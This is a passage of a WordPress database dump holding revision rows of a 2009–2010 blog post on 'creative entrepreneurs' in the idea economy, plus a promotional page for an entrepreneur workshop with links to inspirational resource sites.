entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-17', '', '', '2009-09-21 14:54:44', '2009-09-21 21:54:44', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-17/', 0, 'revision', '', 0),
(652, 2, '2009-09-21 14:54:53', '2009-09-21 21:54:53', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="252" height="300" /></a>\r\n<h2><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-18', '', '', '2009-09-21 14:54:53', '2009-09-21 21:54:53', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-18/', 0, 'revision', '', 0);
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(654, 2, '2009-09-21 14:55:41', '2009-09-21 21:55:41', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="252" height="300" /></a>\r\n<h2><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-20', '', '', '2009-09-21 14:55:41', '2009-09-21 21:55:41', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-20/', 0, 'revision', '', 0),
(655, 2, '2009-09-21 15:00:57', '2009-09-21 22:00:57', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="252" height="300" /></a>\r\n<h2><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-21', '', '', '2009-09-21 15:00:57', '2009-09-21 22:00:57', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-21/', 0, 'revision', '', 0),
(656, 2, '2010-12-27 16:29:11', '2010-12-27 23:29:11', '<h2><img class="size-full wp-image-667 alignleft" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="the idea economy" width="243" height="288" /><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  early-stage entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.\r\n<h2><span style="color: #808080;">Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?</span></h2>\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'inherit', 'open', 'open', '', '632-autosave', '', '', '2010-12-27 16:29:11', '2010-12-27 23:29:11', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-autosave/', 0, 'revision', '', 0),
(1389, 1, '2010-12-27 14:37:39', '2010-12-27 21:37:39', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><a href="http://www.whcquantumleap.com" target="_blank"><strong>Early Registration is open!</strong></a></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<span style="color: #ff0000;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="485" height="485" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="http://www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-12-27 14:37:39', '2010-12-27 21:37:39', '', 145, 'http://www.whitehotcenter.com/2010/12/27/145-revision-71/', 0, 'revision', '', 0),
(997, 2, '2010-05-13 11:16:34', '2010-05-13 18:16:34', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property. These assets form the white hot center of  competitive advantage.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.\r\n<h2><span style="color: #808080;">Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?</span></h2>\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation 